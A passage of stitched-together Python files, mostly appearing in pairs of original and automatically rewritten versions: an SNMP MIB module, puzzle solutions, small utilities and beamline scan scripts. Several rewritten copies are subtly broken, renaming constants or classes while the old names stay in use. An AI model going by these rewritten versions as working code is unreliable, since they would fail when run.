('ppp', 9), ('snafr', 10)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: traceCntrlProtocol.setStatus('mandatory') trace_cntrl_entry_reclaim_time = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 5), time_ticks()).setMaxAccess('readwrite') if mibBuilder.loadTexts: traceCntrlEntryReclaimTime.setStatus('mandatory') trace_cntrl_on_off = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 6), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4))).clone(namedValues=named_values(('start', 1), ('read', 2), ('stop', 3), ('invalid', 4)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: traceCntrlOnOff.setStatus('mandatory') trace_cntrl_action_state = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 7), action_state()).setMaxAccess('readonly') if mibBuilder.loadTexts: traceCntrlActionState.setStatus('mandatory') trace_cntrl_action_error = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 8), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('no-error', 1), ('bad-param', 2)))).setMaxAccess('readonly') if mibBuilder.loadTexts: traceCntrlActionError.setStatus('mandatory') trace_cntrl_file_name = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 9), display_string().subtype(subtypeSpec=value_size_constraint(1, 128))).setMaxAccess('readwrite') if mibBuilder.loadTexts: traceCntrlFileName.setStatus('mandatory') trace_cntrl_card_ref = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 10), card_ref()).setMaxAccess('readwrite') if mibBuilder.loadTexts: traceCntrlCardRef.setStatus('mandatory') trace_cntrl_port_ref = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 11), port_ref()).setMaxAccess('readwrite') if mibBuilder.loadTexts: traceCntrlPortRef.setStatus('mandatory') trace_cntrl_connection_ref = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 12), integer32()).setMaxAccess('readwrite') if mibBuilder.loadTexts: traceCntrlConnectionRef.setStatus('mandatory') trace_cntrl_pu_ref = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 13), display_string().subtype(subtypeSpec=value_size_constraint(1, 32))).setMaxAccess('readwrite') if mibBuilder.loadTexts: traceCntrlPURef.setStatus('mandatory') trace_cntrl_mode_ref = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 14), display_string().subtype(subtypeSpec=value_size_constraint(1, 32))).setMaxAccess('readwrite') if mibBuilder.loadTexts: traceCntrlModeRef.setStatus('mandatory') trace_cntrl_lu_ref = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 15), integer32()).setMaxAccess('readwrite') if mibBuilder.loadTexts: traceCntrlLURef.setStatus('mandatory') trace_cntrl_station_ref = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 16), integer32()).setMaxAccess('readwrite') if mibBuilder.loadTexts: traceCntrlStationRef.setStatus('mandatory') trace_cntrl_llu_ref = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 17), display_string().subtype(subtypeSpec=value_size_constraint(1, 32))).setMaxAccess('readwrite') if mibBuilder.loadTexts: traceCntrlLLURef.setStatus('mandatory') trace_cntrl_rlu_ref = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 18), display_string().subtype(subtypeSpec=value_size_constraint(1, 32))).setMaxAccess('readwrite') if mibBuilder.loadTexts: traceCntrlRLURef.setStatus('mandatory') trace_cntrl_option = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 19), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('append', 1), ('clear', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: traceCntrlOption.setStatus('mandatory') trace_cntrl_period = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 20), integer32()).setMaxAccess('readwrite') if mibBuilder.loadTexts: traceCntrlPeriod.setStatus('mandatory') trace_cntrl_mask = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 21), integer32()).setMaxAccess('readwrite') if mibBuilder.loadTexts: traceCntrlMask.setStatus('mandatory') trace_cntrl_buf_size = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 22), integer32()).setMaxAccess('readwrite') if mibBuilder.loadTexts: traceCntrlBufSize.setStatus('mandatory') trace_cntrl_entry_size = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 23), integer32()).setMaxAccess('readwrite') if mibBuilder.loadTexts: traceCntrlEntrySize.setStatus('mandatory') trace_cntrl_buf_full_action = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 24), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('wrap', 1), ('stop', 2), ('stopAndAlarm', 3)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: traceCntrlBufFullAction.setStatus('mandatory') trace_cntrl_read_from_entry_index = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 25), integer32()).setMaxAccess('readwrite') if mibBuilder.loadTexts: traceCntrlReadFromEntryIndex.setStatus('mandatory') trace_cntrl_file_type = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 26), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('ascii', 1), ('ebcdic', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: traceCntrlFileType.setStatus('mandatory') mibBuilder.exportSymbols('EICON-MIB-TRACE', mibv2=mibv2, traceCntrlOption=traceCntrlOption, traceCntrlLURef=traceCntrlLURef, traceCntrlProtocol=traceCntrlProtocol, traceCntrlEntryReclaimTime=traceCntrlEntryReclaimTime, traceCntrlBufFullAction=traceCntrlBufFullAction, traceCntrlModeRef=traceCntrlModeRef, PositiveInteger=PositiveInteger, ActionState=ActionState, trace=trace, traceCntrlActionError=traceCntrlActionError, traceCntrlBufSize=traceCntrlBufSize, traceCntrlEntrySize=traceCntrlEntrySize, traceControlTable=traceControlTable, traceCntrlMask=traceCntrlMask, management=management, traceCntrlFileType=traceCntrlFileType, traceCntrlEntryStatus=traceCntrlEntryStatus, traceCntrlReadFromEntryIndex=traceCntrlReadFromEntryIndex, PortRef=PortRef, traceCntrlPURef=traceCntrlPURef, traceCntrlPortRef=traceCntrlPortRef, traceControlEntry=traceControlEntry, ControlOnOff=ControlOnOff, traceCntrlStationRef=traceCntrlStationRef, traceFreeEntryIndex=traceFreeEntryIndex, traceCntrlFileName=traceCntrlFileName, traceCntrlEntryOwner=traceCntrlEntryOwner, traceCntrlConnectionRef=traceCntrlConnectionRef, traceCntrlLLURef=traceCntrlLLURef, traceCntrlActionState=traceCntrlActionState, traceCntrlIndex=traceCntrlIndex, traceCntrlOnOff=traceCntrlOnOff, eicon=eicon, traceCntrlRLURef=traceCntrlRLURef, traceCntrlPeriod=traceCntrlPeriod, module=module, traceCntrlCardRef=traceCntrlCardRef, CardRef=CardRef)
n=int(input()) dp=[[1]*3 for i in range(2)] for i in range(1,n): dp[i%2][0]=(dp[(i-1)%2][0]+dp[(i-1)%2][1]+dp[(i-1)%2][2])%9901 dp[i%2][1]=(dp[(i-1)%2][0]+dp[(i-1)%2][2])%9901 dp[i%2][2]=(dp[(i-1)%2][0]+dp[(i-1)%2][1])%9901 n-=1 print((dp[n%2][0]+dp[n%2][1]+dp[n%2][2])%9901)
n = int(input()) dp = [[1] * 3 for i in range(2)] for i in range(1, n): dp[i % 2][0] = (dp[(i - 1) % 2][0] + dp[(i - 1) % 2][1] + dp[(i - 1) % 2][2]) % 9901 dp[i % 2][1] = (dp[(i - 1) % 2][0] + dp[(i - 1) % 2][2]) % 9901 dp[i % 2][2] = (dp[(i - 1) % 2][0] + dp[(i - 1) % 2][1]) % 9901 n -= 1 print((dp[n % 2][0] + dp[n % 2][1] + dp[n % 2][2]) % 9901)
''' The cost of a stock on each day is given in an array. Find the max profit that you can make by buying and selling in those days. Only 1 stock can be held at a time. For example: Array = {100, 180, 260, 310, 40, 535, 695} The maximum profit can earned by buying on day 0, selling on day 3. Again buy on day 4 and sell on day 6. If the given array of prices is sorted in decreasing order, then profit cannot be earned at all. ''' ''' If we are allowed to buy and sell only once, then we can use following algorithm. Maximum difference between two elements. Here we are allowed to buy and sell multiple times. Following is algorithm for this problem. 1. Find the local minima and store it as starting index. If not exists, return. 2. Find the local maxima. and store it as ending index. If we reach the end, set the end as ending index. 3. Update the solution (Increment count of buy sell pairs) 4. Repeat the above steps if end is not reached. Alternate solution: class Solution { public int maxProfit(int[] prices) { int maxprofit = 0; for (int i = 1; i < prices.length; i++) { if (prices[i] > prices[i - 1]) maxprofit += prices[i] - prices[i - 1]; } return maxprofit; } } Explanation - https://leetcode.com/problems/best-time-to-buy-and-sell-stock-ii/solution/ '''
""" The cost of a stock on each day is given in an array. Find the max profit that you can make by buying and selling in those days. Only 1 stock can be held at a time. For example: Array = {100, 180, 260, 310, 40, 535, 695} The maximum profit can earned by buying on day 0, selling on day 3. Again buy on day 4 and sell on day 6. If the given array of prices is sorted in decreasing order, then profit cannot be earned at all. """ '\nIf we are allowed to buy and sell only once, then we can use following algorithm. Maximum difference between two elements. Here we are allowed to buy and sell multiple times.\nFollowing is algorithm for this problem.\n 1. Find the local minima and store it as starting index. If not exists, return.\n 2. Find the local maxima. and store it as ending index. If we reach the end, set the end as ending index.\n 3. Update the solution (Increment count of buy sell pairs)\n 4. Repeat the above steps if end is not reached.\n\nAlternate solution:\nclass Solution {\n public int maxProfit(int[] prices) {\n int maxprofit = 0;\n for (int i = 1; i < prices.length; i++) {\n if (prices[i] > prices[i - 1])\n maxprofit += prices[i] - prices[i - 1];\n }\n return maxprofit;\n }\n}\nExplanation - https://leetcode.com/problems/best-time-to-buy-and-sell-stock-ii/solution/\n'
# data input inp1 = input().split() inp2 = input().split() # data processing code1 = inp1[0] num_code1 = int(inp1[1]) unit_value1 = float(inp1[2]) code2 = inp2[0] num_code2 = int(inp2[1]) unit_value2 = float(inp2[2]) price = num_code1 * unit_value1 + num_code2 * unit_value2 # data output print('VALOR A PAGAR: R$', '%.2f' % price)
inp1 = input().split() inp2 = input().split() code1 = inp1[0] num_code1 = int(inp1[1]) unit_value1 = float(inp1[2]) code2 = inp2[0] num_code2 = int(inp2[1]) unit_value2 = float(inp2[2]) price = num_code1 * unit_value1 + num_code2 * unit_value2 print('VALOR A PAGAR: R$', '%.2f' % price)
class BaseCloudController: pass
class Basecloudcontroller: pass
""" Integration test settings """ DYNAMODB_HOST = 'http://localhost:8000'
""" Integration test settings """ dynamodb_host = 'http://localhost:8000'
__import__("math", fromlist=[]) __import__("xml.sax.xmlreader") result = "subpackage_2" class PackageBSubpackage2Object_0: pass def dynamic_import_test(name: str): __import__(name)
__import__('math', fromlist=[]) __import__('xml.sax.xmlreader') result = 'subpackage_2' class Packagebsubpackage2Object_0: pass def dynamic_import_test(name: str): __import__(name)
def timeConversion(s): ampm = s[-2:] hr = s[:2] if ampm == 'AM': return s[:-2] if hr != '12' else '00' + s[2:-2] return s[:-2] if hr == '12' else str(int(s[:2]) + 12) + s[2:-2] if __name__ == '__main__': s1 = '07:05:45PM' assert timeConversion(s1) == '19:05:45' s2 = '07:05:45AM' assert timeConversion(s2) == '07:05:45' s3 = '12:06:21PM' assert timeConversion(s3) == '12:06:21' s4 = '12:06:21AM' assert timeConversion(s4) == '00:06:21'
def time_conversion(s): ampm = s[-2:] hr = s[:2] if ampm == 'AM': return s[:-2] if hr != '12' else '00' + s[2:-2] return s[:-2] if hr == '12' else str(int(s[:2]) + 12) + s[2:-2] if __name__ == '__main__': s1 = '07:05:45PM' assert time_conversion(s1) == '19:05:45' s2 = '07:05:45AM' assert time_conversion(s2) == '07:05:45' s3 = '12:06:21PM' assert time_conversion(s3) == '12:06:21' s4 = '12:06:21AM' assert time_conversion(s4) == '00:06:21'
MAJOR = 0 MINOR = 2 RELEASE = 4 VERSION = '%d.%d.%d' % (MAJOR, MINOR, RELEASE) def at_least_version(versionstring): """Is versionstring='X.Y.Z' at least the current version?""" (major, minor, release) = versionstring.split('.') return at_least_major_version(major) and at_least_minor_version(minor) and at_least_release_version(release) def at_least_major_version(major): return MAJOR >= int(major) def at_least_minor_version(minor): return MINOR >= int(minor) def at_least_release_version(release): return RELEASE >= int(release)
major = 0 minor = 2 release = 4 version = '%d.%d.%d' % (MAJOR, MINOR, RELEASE) def at_least_version(versionstring): """Is versionstring='X.Y.Z' at least the current version?""" (major, minor, release) = versionstring.split('.') return at_least_major_version(major) and at_least_minor_version(minor) and at_least_release_version(release) def at_least_major_version(major): return MAJOR >= int(major) def at_least_minor_version(minor): return MINOR >= int(minor) def at_least_release_version(release): return RELEASE >= int(release)
def get_metrics(history): plot_metrics = [ k for k in history.keys() if k not in ['epoch', 'batches'] and not k.startswith('val_') ] return plot_metrics def get_metric_vs_epoch(history, metric, batches=True): data = [] val_metric = f'val_{metric}' for key in [metric, val_metric]: if key in history: values = history[key] if 'epoch' in history: epochs = history['epoch'] else: epochs = list(range(len(values))) data.append( { 'x': epochs, 'y': values, 'label': key } ) if batches: batch_data = _get_batch_metric_vs_epoch(history, metric) if batch_data: data.append(batch_data) return data def _get_batch_metric_vs_epoch(history, metric): if not history.get('batches') or metric not in history['batches'][0]: return epoch_value = [ (epoch, value) for epoch, batch in zip(history['epoch'], history['batches']) for value in batch[metric] ] epoch, value = zip(*epoch_value) return {'x': list(epoch), 'y': list(value), 'label': f'batch_{metric}'}
def get_metrics(history): plot_metrics = [k for k in history.keys() if k not in ['epoch', 'batches'] and (not k.startswith('val_'))] return plot_metrics def get_metric_vs_epoch(history, metric, batches=True): data = [] val_metric = f'val_{metric}' for key in [metric, val_metric]: if key in history: values = history[key] if 'epoch' in history: epochs = history['epoch'] else: epochs = list(range(len(values))) data.append({'x': epochs, 'y': values, 'label': key}) if batches: batch_data = _get_batch_metric_vs_epoch(history, metric) if batch_data: data.append(batch_data) return data def _get_batch_metric_vs_epoch(history, metric): if not history.get('batches') or metric not in history['batches'][0]: return epoch_value = [(epoch, value) for (epoch, batch) in zip(history['epoch'], history['batches']) for value in batch[metric]] (epoch, value) = zip(*epoch_value) return {'x': list(epoch), 'y': list(value), 'label': f'batch_{metric}'}
DEFAULT_JOB_CLASS = 'choreo.multirq.job.Job' DEFAULT_QUEUE_CLASS = 'choreo.multirq.Queue' DEFAULT_WORKER_CLASS = 'choreo.retry.RetryWorker' DEFAULT_CONNECTION_CLASS = 'redis.StrictRedis' DEFAULT_WORKER_TTL = 420 DEFAULT_RESULT_TTL = 500
default_job_class = 'choreo.multirq.job.Job' default_queue_class = 'choreo.multirq.Queue' default_worker_class = 'choreo.retry.RetryWorker' default_connection_class = 'redis.StrictRedis' default_worker_ttl = 420 default_result_ttl = 500
#Aligam GiSAXS sample # def align_gisaxs_height_subh( rang = 0.3, point = 31 ,der=False ): det_exposure_time(0.5) sample_id(user_name='test', sample_name='test') yield from bp.rel_scan([pil1M,pil1mroi1,pil1mroi2], piezo.y, -rang, rang, point) ps(der=der) yield from bps.mv(piezo.y, ps.cen) def align_gisaxs_th_subh( rang = 0.3, point = 31 ): det_exposure_time(0.5) sample_id(user_name='test', sample_name='test') yield from bp.rel_scan([pil1M], piezo.th, -rang, rang, point ) ps() yield from bps.mv(piezo.th, ps.peak) Att_Align1 = att2_6 #att1_12 Att_Align2 = att2_7 #att1_9 GV7 = TwoButtonShutter('XF:12IDC-VA:2{Det:1M-GV:7}', name='GV7') alignbspossubh = 11.15 measurebspossubh = 1.15 def alignmentmodesubh(): #Att_Align1.set("Insert") #yield from bps.sleep(1) yield from bps.mv(att1_2, 'Insert') yield from bps.sleep(1) yield from bps.mv(att1_3, 'Insert') yield from bps.sleep(1) yield from bps.mv(GV7.open_cmd, 1 ) yield from bps.mv(pil1m_bs_rod.x, alignbspossubh) if waxs.arc.position < 12 : yield from bps.mv(waxs,12) sample_id(user_name='test', sample_name='test') def measurementmodesubh(): yield from bps.mv(pil1m_bs_rod.x,measurebspossubh) yield from bps.sleep(1) #Att_Align1.set("Retract") #yield from bps.sleep(1) yield from bps.mv(att1_2, 'Retract') yield from bps.sleep(1) yield from bps.mv(att1_3, 'Retract') yield from bps.sleep(1) yield from bps.mv(GV7.close_cmd, 1 ) yield from bps.sleep(1) #mov(waxs,3) def alignquick(): #Att_Align1.set("Insert") #yield from bps.sleep(1) yield from bps.mv(att1_2, 'Insert') yield from bps.sleep(1) yield from bps.mv(att1_3, 'Insert') yield from bps.sleep(1) yield from bps.mv(GV7.open_cmd, 1 ) yield from bps.mv(pil1m_bs_rod.x, alignbspossubh) if waxs.arc.position < 8 : yield from bps.mv(waxs,8) sample_id(user_name='test', sample_name='test') def meas_after_alignquick(): yield from bps.mv(pil1m_bs_rod.x,measurebspossubh) yield from bps.sleep(1) yield from bps.mv(att1_2, 'Retract') yield from bps.sleep(1) yield from bps.mv(att1_3, 'Retract') yield from bps.sleep(1) #mov(waxs,3) def alignsubhgi(): det_exposure_time(0.5) sample_id(user_name='test', sample_name='test') yield from alignmentmodesubh() yield from bps.mv(pil1M.roi1.min_xyz.min_y, 863) yield from bps.mv(pil1M.roi1.size.y, 100) yield from bps.mv(pil1M.roi1.size.x, 100) yield from align_gisaxs_height_subh(1000,16,der=True) yield from align_gisaxs_th_subh(1000,11) yield from align_gisaxs_height_subh(500,11,der=True) yield from align_gisaxs_th_subh(500,11) yield from bps.mv(piezo.th, ps.peak -100) yield from bps.mv(pil1M.roi1.min_xyz.min_y, 783) yield from bps.mv(pil1M.roi1.size.y, 10) yield from align_gisaxs_th_subh(300,31) yield from align_gisaxs_height_subh(200,21) yield from align_gisaxs_th_subh(100,21) yield from bps.mv(piezo.th, ps.cen+12)#moves the th to 0.012 degrees positive from aligned 0.1 yield from measurementmodesubh() def do_grazingsubh(meas_t=1): #xlocs = [48403] #names = ['BW30-CH-Br-1'] # Detectors, motors: dets = [pil300KW, pil300kwroi2, xbpm3.sumY, xbpm2.sumY] xlocs = [0] x_offset = np.linspace(2000, -2000, 41) names = ['btbtwo3'] prealigned = [0] for xloc, name, aligned in zip(xlocs, names, prealigned): yield from bps.mv(piezo.x,xloc) yield from bps.mv(piezo.th,-1300) if aligned==0 : yield from alignsubhgi() plt.close('all') angle_offset = np.linspace(-120, 80, 41) #angle_offset = array([-120,-115,-110,-105,-100,-95,-90,-85,-80,-75,-70,-65,-60,-55,-50,-45,-40,-35,-30,-25,-20,-15,-10,-5,0,5,10,15,20,25,30,35,40,45,50,55,60,65,70,75,80]) e_list = [7060] a_off = piezo.th.position waxs_arc = [3, 21, 4] det_exposure_time(meas_t) name_fmt = '{sample}_{energ}eV_{angle}deg' offset_idx = 0 #yield from bps.mv(att2_9, 'Insert') for i_e, e in enumerate(e_list): #yield from bps.mv(energy, e) for j, ang in enumerate( a_off - np.array(angle_offset) ): yield from bps.mv(piezo.x, xloc+x_offset[offset_idx]) offset_idx += 1 real_ang = 0.200 + angle_offset[j]/1000 yield from bps.mv(piezo.th, ang) sample_name = name_fmt.format(sample=name, angle=real_ang, energ = e) #print(param) sample_id(user_name='NIST', sample_name=sample_name) print(f'\n\t=== Sample: {sample_name} ===\n') #print(RE.md) yield from bp.scan(dets, waxs, *waxs_arc) sample_id(user_name='test', sample_name='test') det_exposure_time(0.5) #yield from bps.mv(att2_9, 'Retract') def align_shortcut(): yield from alignquick() yield from align_gisaxs_height_subh(100,15) yield from meas_after_alignquick() def do_grazingtemp(meas_t=4): # Detectors, motors: dets = [pil300KW, pil300kwroi2, xbpm3.sumY, xbpm2.sumY] e_list = [20300] det_exposure_time(meas_t) waxs_arc = [3, 9, 2] piezo_x1 = [0, -400, 12] piezo_x2 = [-500, -900, 12] piezo_x3 = [-1000, -1400, 12] piezo_x4 = [-1500, -1900, 12] piezo_x5 = [-2000, -2400, 12] piezo_x6 = [-2500, -2900, 12] piezo_x7 = [-3000, -3400, 12] piezo_x8 = [-3500, -3900, 12] sample_id(user_name='AK', sample_name='P75B2_50C_0.088deg_20300eV1') yield from bp.grid_scan(dets, piezo.x, *piezo_x1, waxs, *waxs_arc, 1) yield from align_shortcut() det_exposure_time(meas_t) sample_id(user_name='AK', sample_name='P75B2_50C_0.088deg_20300eV2') yield from bp.grid_scan(dets, piezo.x, *piezo_x2, waxs, *waxs_arc, 1) yield from align_shortcut() det_exposure_time(meas_t) sample_id(user_name='AK', sample_name='P75B2_50C_0.088deg_20300eV3') yield from bp.grid_scan(dets, piezo.x, *piezo_x3, waxs, *waxs_arc, 1) yield from align_shortcut() det_exposure_time(meas_t) sample_id(user_name='AK', sample_name='P75B2_50C_0.088deg_20300eV4') yield from bp.grid_scan(dets, piezo.x, *piezo_x4, waxs, *waxs_arc, 1) yield from align_shortcut() det_exposure_time(meas_t) sample_id(user_name='AK', sample_name='P75B2_50C_0.088deg_20300eV5') yield from bp.grid_scan(dets, piezo.x, *piezo_x5, waxs, *waxs_arc, 1) yield from align_shortcut() det_exposure_time(meas_t) sample_id(user_name='AK', sample_name='P75B2_50C_0.088deg_20300eV6') yield from bp.grid_scan(dets, piezo.x, *piezo_x6, waxs, *waxs_arc, 1) yield from align_shortcut() det_exposure_time(meas_t) sample_id(user_name='AK', sample_name='P75B2_50C_0.088deg_20300eV7') yield from bp.grid_scan(dets, piezo.x, *piezo_x7, waxs, *waxs_arc, 1) yield from align_shortcut() det_exposure_time(meas_t) sample_id(user_name='AK', sample_name='P75B2_50C_0.088deg_20300eV8') yield from bp.grid_scan(dets, piezo.x, *piezo_x8, waxs, *waxs_arc, 1) sample_id(user_name='test', sample_name='test') det_exposure_time(0.5) def do_singleimage(meas_t=4): # Detectors, motors: dets = [pil300KW, pil300kwroi2, xbpm3.sumY, xbpm2.sumY] e_list = [20300] det_exposure_time(meas_t) waxs_arc = [3, 9, 2] sample_id(user_name='AK', sample_name='PVDFWBcool_50C_0.088deg_20300eV1') yield from bp.grid_scan(dets, waxs, *waxs_arc) def do_grazing_cool(meas_t=4): # Detectors, motors: dets = [pil300KW, pil300kwroi2, xbpm3.sumY, xbpm2.sumY] waxs_arc = [3, 9, 2] e_list = [20300] det_exposure_time(meas_t) xlocs = [0] sample_id(user_name='AK', sample_name='PB_50C_0.088deg_20300eV_cool') yield from bp.grid_scan(dets, waxs, *waxs_arc) xlocs = [10000] sample_id(user_name='AK', sample_name='P50B_50C_0.088deg_20300eV_cool') yield from bp.grid_scan(dets, waxs, *waxs_arc) xlocs = [20000] sample_id(user_name='AK', sample_name='PWB_50C_0.088deg_20300eV_cool') yield from bp.grid_scan(dets, waxs, *waxs_arc) xlocs = [30000] sample_id(user_name='AK', sample_name='P50WB_50C_0.088deg_20300eV_cool') yield from bp.grid_scan(dets, waxs, *waxs_arc) xlocs = [40000] sample_id(user_name='AK', sample_name='PVDFWB_50C_0.088deg_20300eV_cool') yield from bp.grid_scan(dets, waxs, *waxs_arc) xlocs = [50000] sample_id(user_name='AK', sample_name='P75WB_50C_0.088deg_20300eV_cool') yield from bp.grid_scan(dets, waxs, *waxs_arc) xlocs = [60000] sample_id(user_name='AK', sample_name='P75WB_100C_0.088deg_20300eV_cool') yield from bp.grid_scan(dets, waxs, *waxs_arc) xlocs = [70000] sample_id(user_name='AK', sample_name='P25WB_50C_0.088deg_20300eV_cool') yield from bp.grid_scan(dets, waxs, *waxs_arc) xlocs = [80000] sample_id(user_name='AK', sample_name='P25B_50C_0.088deg_20300eV_cool') yield from bp.grid_scan(dets, waxs, *waxs_arc) xlocs = [90000] sample_id(user_name='AK', sample_name='P75B2_50C_0.088deg_20300eV_cool') yield from bp.grid_scan(dets, waxs, *waxs_arc) # sample_id(user_name='test', sample_name='test') # det_exposure_time(0.5) def do_grazing1(meas_t=2): #xlocs = [48403] #names = ['BW30-CH-Br-1'] # Detectors, motors: dets = [pil300KW, pil300kwroi2, xbpm3.sumY, xbpm2.sumY] xlocs = [-37950] x_offset = [-200, 0, 200] names = ['ctrl1_focused_recheckoldmacro'] prealigned = [0] for xloc, name, aligned in zip(xlocs, names, prealigned): yield from bps.mv(piezo.x,xloc) yield from bps.mv(piezo.th,-500) if aligned==0 : yield from alignYalegi() plt.close('all') angle_offset = [100, 220, 300] e_list = [2460, 2477, 2500] a_off = piezo.th.position waxs_arc = [3, 87, 15] det_exposure_time(meas_t) name_fmt = '{sample}_{energ}eV_{angle}deg' for i_e, e in enumerate(e_list): yield from bps.mv(energy, e) yield from bps.mv(piezo.x, xloc+x_offset[i_e]) for j, ang in enumerate( a_off - np.array(angle_offset) ): real_ang = 0.3 + angle_offset[j]/1000 yield from bps.mv(piezo.th, ang) sample_name = name_fmt.format(sample=name, angle=real_ang, energ = e) #print(param) sample_id(user_name='FA', sample_name=sample_name) print(f'\n\t=== Sample: {sample_name} ===\n') #print(RE.md) yield from bp.scan(dets, waxs, *waxs_arc) sample_id(user_name='test', sample_name='test') det_exposure_time(0.5)
def align_gisaxs_height_subh(rang=0.3, point=31, der=False): det_exposure_time(0.5) sample_id(user_name='test', sample_name='test') yield from bp.rel_scan([pil1M, pil1mroi1, pil1mroi2], piezo.y, -rang, rang, point) ps(der=der) yield from bps.mv(piezo.y, ps.cen) def align_gisaxs_th_subh(rang=0.3, point=31): det_exposure_time(0.5) sample_id(user_name='test', sample_name='test') yield from bp.rel_scan([pil1M], piezo.th, -rang, rang, point) ps() yield from bps.mv(piezo.th, ps.peak) att__align1 = att2_6 att__align2 = att2_7 gv7 = two_button_shutter('XF:12IDC-VA:2{Det:1M-GV:7}', name='GV7') alignbspossubh = 11.15 measurebspossubh = 1.15 def alignmentmodesubh(): yield from bps.mv(att1_2, 'Insert') yield from bps.sleep(1) yield from bps.mv(att1_3, 'Insert') yield from bps.sleep(1) yield from bps.mv(GV7.open_cmd, 1) yield from bps.mv(pil1m_bs_rod.x, alignbspossubh) if waxs.arc.position < 12: yield from bps.mv(waxs, 12) sample_id(user_name='test', sample_name='test') def measurementmodesubh(): yield from bps.mv(pil1m_bs_rod.x, measurebspossubh) yield from bps.sleep(1) yield from bps.mv(att1_2, 'Retract') yield from bps.sleep(1) yield from bps.mv(att1_3, 'Retract') yield from bps.sleep(1) yield from bps.mv(GV7.close_cmd, 1) yield from bps.sleep(1) def alignquick(): yield from bps.mv(att1_2, 'Insert') yield from bps.sleep(1) yield from bps.mv(att1_3, 'Insert') yield from bps.sleep(1) yield from bps.mv(GV7.open_cmd, 1) yield from bps.mv(pil1m_bs_rod.x, alignbspossubh) if waxs.arc.position < 8: yield from bps.mv(waxs, 8) sample_id(user_name='test', sample_name='test') def meas_after_alignquick(): yield from bps.mv(pil1m_bs_rod.x, measurebspossubh) yield from bps.sleep(1) yield from bps.mv(att1_2, 'Retract') yield from bps.sleep(1) yield from bps.mv(att1_3, 'Retract') yield from bps.sleep(1) def alignsubhgi(): det_exposure_time(0.5) sample_id(user_name='test', sample_name='test') yield from alignmentmodesubh() yield from bps.mv(pil1M.roi1.min_xyz.min_y, 863) yield from bps.mv(pil1M.roi1.size.y, 100) yield from bps.mv(pil1M.roi1.size.x, 100) yield from align_gisaxs_height_subh(1000, 16, der=True) yield from align_gisaxs_th_subh(1000, 11) yield from align_gisaxs_height_subh(500, 11, der=True) yield from align_gisaxs_th_subh(500, 11) yield from bps.mv(piezo.th, ps.peak - 100) yield from bps.mv(pil1M.roi1.min_xyz.min_y, 783) yield from bps.mv(pil1M.roi1.size.y, 10) yield from align_gisaxs_th_subh(300, 31) yield from align_gisaxs_height_subh(200, 21) yield from align_gisaxs_th_subh(100, 21) yield from bps.mv(piezo.th, ps.cen + 12) yield from measurementmodesubh() def do_grazingsubh(meas_t=1): dets = [pil300KW, pil300kwroi2, xbpm3.sumY, xbpm2.sumY] xlocs = [0] x_offset = np.linspace(2000, -2000, 41) names = ['btbtwo3'] prealigned = [0] for (xloc, name, aligned) in zip(xlocs, names, prealigned): yield from bps.mv(piezo.x, xloc) yield from bps.mv(piezo.th, -1300) if aligned == 0: yield from alignsubhgi() plt.close('all') angle_offset = np.linspace(-120, 80, 41) e_list = [7060] a_off = piezo.th.position waxs_arc = [3, 21, 4] det_exposure_time(meas_t) name_fmt = '{sample}_{energ}eV_{angle}deg' offset_idx = 0 for (i_e, e) in enumerate(e_list): for (j, ang) in enumerate(a_off - np.array(angle_offset)): yield from bps.mv(piezo.x, xloc + x_offset[offset_idx]) offset_idx += 1 real_ang = 0.2 + angle_offset[j] / 1000 yield from bps.mv(piezo.th, ang) sample_name = name_fmt.format(sample=name, angle=real_ang, energ=e) sample_id(user_name='NIST', sample_name=sample_name) print(f'\n\t=== Sample: {sample_name} ===\n') yield from bp.scan(dets, waxs, *waxs_arc) sample_id(user_name='test', sample_name='test') det_exposure_time(0.5) def align_shortcut(): yield from alignquick() yield from align_gisaxs_height_subh(100, 15) yield from meas_after_alignquick() def do_grazingtemp(meas_t=4): dets = [pil300KW, pil300kwroi2, xbpm3.sumY, xbpm2.sumY] e_list = [20300] det_exposure_time(meas_t) waxs_arc = [3, 9, 2] piezo_x1 = [0, -400, 12] piezo_x2 = [-500, -900, 12] piezo_x3 = [-1000, -1400, 12] 